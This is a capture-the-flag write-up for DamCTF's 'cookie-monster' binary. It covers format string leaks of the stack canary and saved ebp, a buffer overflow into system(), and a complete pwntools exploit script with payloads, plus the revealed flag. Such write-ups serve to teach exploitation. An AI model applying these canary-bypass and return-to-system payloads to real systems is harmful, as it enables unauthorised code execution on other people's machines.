Description:
Do you like cookies? I like cookies.
nc chals.damctf.xyz 31312
Author: BobbySinclusto
153 solves / 406 points
Files:
First, let's execute the binary:
There is 2 inputs: the name (hellllo) and the purchase (Stack). The name is printed back to the user, so there is maybe a format string vulnerability here:
$ nc chals.damctf.xyz 31312
Enter your name: %x.%x.%x.%x.%x.%x.%x.%x
Hello 20.f7f8e580.8048592.f7f8e000.f7f8e000.ffffd2f8.252e7825.78252e78
Welcome to the bakery!
...
We have a format string exploit just here, it will be usefull later.
Now let's see the behavior of the program with the downloaded binary:
$ ./cookie-monster
Enter your name: testset
Hello testset
Welcome to the bakery!
Current menu:
cat: cookies.txt: No such file or directory
What would you like to purchase?
AH
Have a nice day!
Ha! It look likes it executes a system command to list the different items to purchase. Let's create this file:
$ echo -e "a\nb\nc" > cookies.txt
$ ./cookie-monster
Enter your name: work pls
Hello work pls
Welcome to the bakery!
Current menu:
a
b
c
What would you like to purchase?
IT WORKS
Have a nice day!
It works!
Let's check the implemented securities in place with gdb-gef:
$ gdb ./cookie-monster
gef➤ checksec
[+] checksec for '/tmp/cookie-monster'
Canary : ✓
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
Great, there is no PIE, so the code addresses will not be randomized at each launch.
There are some of the other tests I did:
# This is a 32 bit binary so arguments will be pushed on the stack.
$ file ./cookie-monster
./cookie-monster: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=998281a5f422a675de8dde267cefad19a8cef519, not stripped
# You can't buffer overflow anything with the first input (it only gets 32 characters):
./cookie-monster
Enter your name: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hello AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAWelcome to the bakery!
Current menu:
a
b
c
What would you like to purchase?
Have a nice day!
# But the second input is vulnerable to buffer overflow!
./cookie-monster
Enter your name: a
Hello a
Welcome to the bakery!
Current menu:
a
b
c
What would you like to purchase?
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Have a nice day!
*** stack smashing detected ***: terminated
Aborted (core dumped)
Let's make a bit of reverse engineering before actually starting.
As always, I will be using Cutter for the disassembly.
Let's take a look at the main function:
Nothing interesting beside the bakery function.
This is the main flow of the program. We can see the fgets, printf and system functions being called here. We can see that the first fgets get 32 characters, and the second one gets 64 characters.
This is how the first fgets
is called:
The second fgets
also stores the user input at ebp - 0x2c
. It will be usefull for our buffer overflow.
The "cat cookies.txt" string is located at 0x080487ba
:
Let's do some exploits!
Let's first try to display the "cat cookies.txt" string using the format string vuln. We already know the address of the string (0x080487ba
) and we need the offset of our input in memory from esp
:
$ python2 -c 'print "AAAA%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x-%8x"' | ./cookie-monster
Enter your name: Hello AAAA 20-f7f8e580- 8048592-f7f8e000-f7f8e000-ffffd328-41414141Welcome to the bakery!
...
$ python2 -c 'print "AAAA%7$x"' | ./cookie-monster
Enter your name: Hello AAAA41414141
Welcome to the bakery!
...
We found our string "AAAA" (41414141
) at offset 7. We can now use x/s to point to wherever we want in memory!
$ python2 -c 'print "\xba\x87\x04\x08%7$s"' | ./cookie-monster
Enter your name: Hello cat cookies.txt
Welcome to the bakery!
...
Cool, there is more things to do but it's a good start.
Here's what we will do from now in order to get a remote code execution:
eip
with the address of system
call in the bakery
functionebp
value to retrieve it's address on the stack.To leak those 2 values, we have to know their offset from esp
like we did to find were the buffer starts just before:
We jump just before the printf of our buffer is executed and dump the stack. At offset 7, we can see our buffer. We can then find ebp
by taking the 4 octets block just before saved eip, and find the Canary by comparing what are the data that have changed between 2 program execution.
(I count using packets of 4 octets each)
This part is pretty easy, we just have to find the offset from ebp - 0xc
(the buffer base address) to the saved EIP value:
$ gdb ./cookie-monster
gef➤ disas bakery
...
0x080485c1 <+59>: push 0x20
0x080485c3 <+61>: lea eax,[ebp-0x2c]
0x080485c6 <+64>: push eax
0x080485c7 <+65>: call 0x8048410 <fgets@plt> # first fgets
...
gef➤ b *0x080485c7
gef➤ run
...
fgets@plt (
[sp + 0x0] = 0xffffd2cc → 0xf7e204a5 → <setbuf+21> add esp, 0x1c,
[sp + 0x4] = 0x00000020
)
...
gef➤ i frame
Stack level 0, frame at 0xffffd300:
eip = 0x80485c7 in bakery; saved eip = 0x80486b4
called by frame at 0xffffd320
Arglist at 0xffffd2f8, args:
Locals at 0xffffd2f8, Previous frame's sp is 0xffffd300
Saved registers:
ebx at 0xffffd2f4, ebp at 0xffffd2f8, eip at 0xffffd2fc
gef➤ p/u 0xffffd2fc - 0xffffd2cc
$1 = 48
There is a offset of 48 octets before we start to overwrite EIP.
Ok, let's see what we have for now:
esp
: 15 packets of 4 octetsebp
from esp
: 18 packets of 4 octetseip
from buffer: 48 octets0x0804860c
The exploit input will be something like that:
first input: %15$x.%18$x
second input: <padding><Canary><padding><system call address><saved ebp><command>
Note that we have only 7 characters left for the command at the end.
Here is the code to pwn this binary:
#!/bin/python3
from pwn import *
def reverseAddress(address, increase=False, add=0):
if increase:
address = hex(int(address, base=16) + add)[2:]
address = [address[i:i+2] for i in range(0, 8, 2)][::-1] # little indian mode
address = " ".join(address)
address = bytes.fromhex(address)
return address
context.update(arch='i386', os='linux')
if args.REMOTE:
log.info("Connecting to distant server")
p = remote("chals.damctf.xyz", 31312)
else:
log.info("Executing local binary")
p = process("./cookie-monster")
print(p.recv(1000).decode()) # Enter your name
# send format string to retrieve canary value
payload = b"%15$x.%18$x"
p.sendline(payload) # canary + saved esp
line = p.recvline()[6:23].decode() # receive canary + saved esp value
print(line)
canary = reverseAddress(line[0:8]) # canary
s_ebp = reverseAddress(line[9:17], True, -4) # saved esp
print(p.recvline().decode()) # receive menu
# payload to bypass canary
payload = b"A" * 32
payload+= canary
payload+= b"A" * 12
payload+= reverseAddress("0804860c")
payload+= s_ebp
payload+= b"cat fl*"
p.sendline(payload)
p.interactive()
Flag: dam{s74CK_c00k13S_4r3_d3L1C10Us}
TLDR: This challenge was really great, and pretty hard for me, because this was the first time I used the format string vulnerability + buffer overflow in order to bypass canary and ASLR on a remote machine!
Just when I was writing the writeup, I took a second look at the binary and found something really interesting:
Yes. Instead of pushing our command on the stack and calculating it's address by leaking the ebp
register and by applying an offset, We could have just pushed the address of this "/bin/sh" string. No more headhashes.
Here is the code snipped for the new payload, much easer:
payload = b"A" * 32
payload+= canary
payload+= b"A" * 12
payload+= reverseAddress("0804860c")
payload+= reverseAddress("08048770")
Thank you for reading!